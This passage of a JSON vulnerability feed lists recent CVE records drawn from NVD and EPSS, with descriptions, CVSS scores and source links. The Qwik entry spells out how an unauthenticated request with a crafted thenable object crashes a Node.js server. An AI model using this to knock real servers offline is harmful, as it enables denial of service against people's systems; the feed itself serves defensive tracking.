fixes.","publishedAt":"2026-10-13T19:20:57.580Z","updatedAt":"2026-10-16T16:21:55.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85352","asOf":"2026-10-16T16:21:55.667Z"},"epss":{"probability":0.00253,"percentile":0.16573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85352","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85352","type":"primary","publishedAt":"2026-10-13T19:20:57.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85343","cveId":"CVE-2026-85343","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows Hyper-V allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:57.407Z","updatedAt":"2026-10-16T16:21:55.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85343","asOf":"2026-10-16T16:21:55.470Z"},"epss":{"probability":0.00355,"percentile":0.2889,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85343&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85343","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85343","type":"primary","publishedAt":"2026-10-13T19:20:57.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85343&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85343, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85342","cveId":"CVE-2026-85342","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:57.233Z","updatedAt":"2026-10-16T16:21:55.287Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85342","asOf":"2026-10-16T16:21:55.287Z"},"epss":{"probability":0.00253,"percentile":0.16571,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85342&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85342","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85342","type":"primary","publishedAt":"2026-10-13T19:20:57.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85342&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85342, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85341","cveId":"CVE-2026-85341","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:57.057Z","updatedAt":"2026-10-16T16:21:55.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85341","asOf":"2026-10-16T16:21:55.097Z"},"epss":{"probability":0.00319,"percentile":0.24652,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85341&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85341","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85341","type":"primary","publishedAt":"2026-10-13T19:20:57.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85341&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85341, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85339","cveId":"CVE-2026-85339","aliases":[],"kind":"vulnerability","title":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","summary":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","detail":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:56.743Z","updatedAt":"2026-10-16T16:21:54.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85339","asOf":"2026-10-16T16:21:54.827Z"},"epss":{"probability":0.00557,"percentile":0.46137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85339&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85339","type":"primary","publishedAt":"2026-10-13T19:20:56.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85339&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85339, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85321","cveId":"CVE-2026-85321","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:53.400Z","updatedAt":"2026-10-13T21:19:12.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85321","asOf":"2026-10-13T21:19:12.130Z"},"epss":{"probability":0.01056,"percentile":0.64199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85321&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85321","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85321","type":"primary","publishedAt":"2026-10-13T19:20:53.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85321&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85321, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85319","cveId":"CVE-2026-85319","aliases":[],"kind":"vulnerability","title":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","summary":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.","detail":"Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:53.080Z","updatedAt":"2026-10-13T21:19:11.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85319","asOf":"2026-10-13T21:19:11.800Z"},"epss":{"probability":0.01103,"percentile":0.65492,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85319&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85319","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85319","type":"primary","publishedAt":"2026-10-13T19:20:53.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85319&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85319, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85318","cveId":"CVE-2026-85318","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:52.893Z","updatedAt":"2026-10-16T16:21:51.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85318","asOf":"2026-10-16T16:21:51.743Z"},"epss":{"probability":0.00318,"percentile":0.2452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85318&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85318","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85318","type":"primary","publishedAt":"2026-10-13T19:20:52.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85318&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85318, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84994","cveId":"CVE-2026-84994","aliases":[],"kind":"vulnerability","title":"Qwik is a performance-focused JavaScript framework.","summary":"Qwik is a performance-focused JavaScript framework. Prior to @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37, default server-side qwik-json deserialization causes ResourceSerializer.$fill$ to pass resource._resolved to Promise.resolve without first rejecting attacker-controlled thenables. An unauthenticated request can provide a plain object whose then property is a QRL for an unregistered symbol, causing an orphaned asynchronous rejection that terminates Node.js under its default unhandled-rejection policy. A single request can crash a server, and repeated requests can keep replicas unavailable. This issue is fixed in @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37.","detail":"Qwik is a performance-focused JavaScript framework. Prior to @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37, default server-side qwik-json deserialization causes ResourceSerializer.$fill$ to pass resource._resolved to Promise.resolve without first rejecting attacker-controlled thenables. An unauthenticated request can provide a plain object whose then property is a QRL for an unregistered symbol, causing an orphaned asynchronous rejection that terminates Node.js under its default unhandled-rejection policy. A single request can crash a server, and repeated requests can keep replicas unavailable. This issue is fixed in @builder.io/qwik 1.20.0 and @qwik.dev/core 2.0.0-beta.37.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:52.743Z","updatedAt":"2026-10-14T17:19:46.043Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84994","asOf":"2026-10-14T17:19:46.043Z"},"epss":{"probability":0.00524,"percentile":0.44186,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84994","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84994","type":"primary","publishedAt":"2026-10-13T19:20:52.743Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84008","cveId":"CVE-2026-84008","aliases":[],"kind":"vulnerability","title":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.","summary":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.","detail":"Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:50.780Z","updatedAt":"2026-10-22T22:19:18.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84008","asOf":"2026-10-22T22:19:18.997Z"},"epss":{"probability":0.00991,"percentile":0.62285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84008","type":"primary","publishedAt":"2026-10-13T19:20:50.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83923","cveId":"CVE-2026-83923","aliases":[],"kind":"vulnerability","title":"Relative path traversal in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","summary":"Relative path traversal in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.","detail":"Relative path traversal in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:48.297Z","updatedAt":"2026-10-16T16:21:47.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":["OpenSSH"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83923","asOf":"2026-10-16T16:21:47.817Z"},"epss":{"probability":0.01045,"percentile":0.63908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83923&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83923","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83923","type":"primary","publishedAt":"2026-10-13T19:20:48.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83923&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83923, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83922","cveId":"CVE-2026-83922","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:48.127Z","updatedAt":"2026-10-16T16:21:47.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83922","asOf":"2026-10-16T16:21:47.677Z"},"epss":{"probability":0.00342,"percentile":0.27507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83922&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83922","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83922","type":"primary","publishedAt":"2026-10-13T19:20:48.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83922&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83922, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83921","cveId":"CVE-2026-83921","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:47.947Z","updatedAt":"2026-10-16T16:21:47.507Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83921","asOf":"2026-10-16T16:21:47.507Z"},"epss":{"probability":0.00277,"percentile":0.19937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83921&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 